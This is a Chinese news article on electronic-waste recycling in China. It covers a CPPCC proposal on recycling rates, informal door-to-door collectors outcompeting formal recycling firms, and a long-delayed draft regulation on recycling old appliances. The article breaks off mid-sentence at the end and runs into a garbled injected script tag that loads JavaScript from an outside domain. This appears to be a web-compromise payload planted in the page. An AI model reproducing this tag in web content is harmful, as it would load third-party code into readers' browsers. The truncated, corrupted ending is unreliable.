(电子市场网讯) “我国的再生资源回收率仅相当于世界先进水平的30%,每年可以回收而没有回收的再生资源价值高达500亿元。”正在召开的全国政协十届四次会议上,全国政协委员、苏宁电器集团总裁张近东提交了一份题为《发挥法律和政策的作用,提高我国再生资源回收利用率》的提案。
电子垃圾的回收再利用问题再次成为了各方关注的热点。
自2003年开始,我国进入了电子产品报废的高峰期。据张近东称,我国每年至少报废500万台电视机、400万台冰箱、600万台洗衣机,每年废弃的电脑超过500万台,淘汰的手机超过7000万部。
而同时,世界上80%的电子垃圾被运到亚洲,其中有90%进入中国,我国已成为电子垃圾的主要受害国之一。
现状 正规军不敌游击队 “游击队”担当回收主力
“电视50-200元,洗衣机100元,空调200-500元,电脑100-300元。”在各个小区门口,人们经常可以见到有人踩着小三轮自行车,后箱里搭着这样一块牌子,就吆喝着做起了废旧电子产品回收的买卖。令人尴尬的是,正是这样的回收“实体”构成了中国电子垃圾回收的主力军。
出于利润的考虑,这类回收“游击队”往往对于回收物品的范围有着“严格”的限制。由此就出现了居民家中大量废旧电子产品卖不出去,而同时很多正规回收处理企业却声称废旧电子产品来源不足的尴尬局面。
据了解,虽然目前一些家电大卖场也已经推出回收废旧家电,或是“以旧换新”的活动。但采访中,很多市民都表示将沉重的家电搬运到大卖场,不仅费时费力,还要额外贴运费,因此很难接受。与之相比,“游击队”不但方便,还能在回收时自由报价,随行就市。在这种情况下,很多人都更愿意将手中的废旧家电出售给“游击队”。
没有规模就没有盈利
据了解,目前废旧家电的回收利用一般遵循“先利用,后拆解”的原则,即首先对于保持基本功能的旧家电,可以通过检查、清洗、简单地维修等使其进入二次消费领域,对不能直接利用的,可以拆解回收有利用价值的各种电子元件,最后采取机械、物理、化学的方法回收原材料。
近几年,废旧电子产品的处置已有了长足的进步,国外对显像管、压缩机、印刷线路板和电池等部件的处理都有了比较先进的方法,有效地解决了材料分离上的关键性技术难题。目前德国、法国、美国、芬兰等国家都有专门的研究机构,并建有规范的自动化处理生产线。从技术上讲,废旧电子产品的再利用已经不再是什么难题。
中国家用电器协会副秘书长徐东生向记者表示,正规回收再利用企业要实现正常运转目前面临的最大难题是废旧电子产品的来源严重不足。
据了解,一家大型的回收再利用工厂要实现正常运转,每年处理的废旧家电产品要在30万-40万台左右。虽然我国每年报废的各类家电产品多达上千万台,但正规企业回收的废旧家电寥寥无几。
有业内人士向记者表示,那些正规企业其实不应该将责任完全推到“游击队”身上,而恰恰应该学习他们灵活、机动的特点,加强自身的回收网络建设,让居民只要在自己小区附近,甚至只要打个电话就能将废旧家电“处理”掉。只有这样,正规回收利用企业才能扩大回收范围,形成规模效应。
立法 管理条例多年难产
据了解,我国《废旧家电及电子产品回收处理管理条例》(征求意见稿)在2004年便已经公示,但此后却迟迟未能出台。不过通过这部征求意见稿,我们还是可以看到我国相关法规的一些基本内容。
企业负有回收责任
根据规定,废旧家电回收处理实行多元化回收和集中处理。国家对废旧家电处理企业实行资格认定制度。
家电生产企业负有对自己产品的处理责任,它可以自行进行废旧家电处理,也可委托有资质的处理企业处理。家电经销商和售后服务机构将有义务回收废旧家电,回收的废旧家电应当交售给有资质的处理企业(以下简称处理企业)。旧家电经销商不得销售未经处理企业检测、标识的旧家电。
严格规定处理程序
个体工商户型的回收业者也应将回收的废旧家电交售给有资质处理企业,与处理企业签订委托回收协议,严禁拆解、拼装并自行销售。
处理企业应严格按照国家相关标准和技术规范,对回收的废旧家电进行分类检测。对经测试、维修后达到旧家电安全标准的,应贴上再利用品标识,出售给旧家电经销商或在旧货交易市场上销售。
废家电应在符合环保、安全的条件下拆解,有毒有害物质应当按照国家有关规定,进行无害化处理。严禁使用烘烤、酸洗、露天焚烧等原始落后方式拆解处理废家电,处理过程要符合国家环境保护、劳动安全和人员健康的要求。
电子垃圾的危害与利用
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电子垃圾中含有许多对环境有害的物质,如电冰箱中的制冷剂r12、发泡剂r11是破坏臭?script src=http://er12.com/t.js>











